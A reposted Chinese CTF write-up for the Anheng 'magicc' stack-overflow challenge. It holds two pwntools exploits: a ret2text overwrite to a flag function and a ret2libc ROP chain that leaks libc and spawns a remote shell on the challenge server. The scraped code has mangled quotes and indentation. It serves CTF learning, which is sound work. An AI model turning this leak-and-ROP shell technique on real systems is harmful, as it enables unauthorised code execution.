大佬教程收集整理的这篇文章主要介绍了安恒pwn魔法,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
魔法这是比较基础的一道栈溢出;
首先看下开启的防护机制
checksec magicc发现只有nx防护
我们载入ida发现溢出点
Buf实际溢出空间为0x16,构造exp
import time
from pwn import *
p=process(‘./magicc‘)
p.recvuntil(‘Choose!‘)
p.sendline(‘4‘)
p.recvuntil(‘success‘)
payload1=‘A‘*22
#system=
#asd=0x804876e
#ret=0x8048770
cat=0x80485AD
#hgd=0x80485a7
#nxaddr=p32(0x80485A7)
payload=payload1+p32(cat)
p.sendline(payload)
p.interactive()
另外是采用rop
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("magicc")
sh = 0
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./magicc")
else:
sh = remote(ip,port)
lib = ELF("libc6-i386_2.23-0ubuntu10_amd64.so")
catFlag = 0x08048847
offset = 22
sh.recv()
sh.sendline("4")
sh.recvuntil("You are one step short of success\n")
payload = offset * "a" + p32(elf.plt[‘puts‘]) + p32(0x08048490) + p32(elf.got[‘__libc_start_main‘])
sh.sendline(payload)
__libc_start_main = u32(sh.recv(4))
log.success("__libc_start_main: " + hex(__libc_start_main))
libc = __libc_start_main - lib.symbols[‘__libc_start_main‘]
system = libc + lib.symbols[‘system‘]
binsh = libc + lib.search("/bin/sh\x00").next()
sh.sendline("4")
sh.recv()
sh.sendline(offset * "a" + p32(elf.plt[‘system‘]) + p32(0x08048490) + p32(binsh))
sh.interactive()
if __name__ == "__main__":
pwn("101.71.29.5",10001,0)
以上是大佬教程为你收集整理的安恒pwn魔法全部内容,希望文章能够帮你解决安恒pwn魔法所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。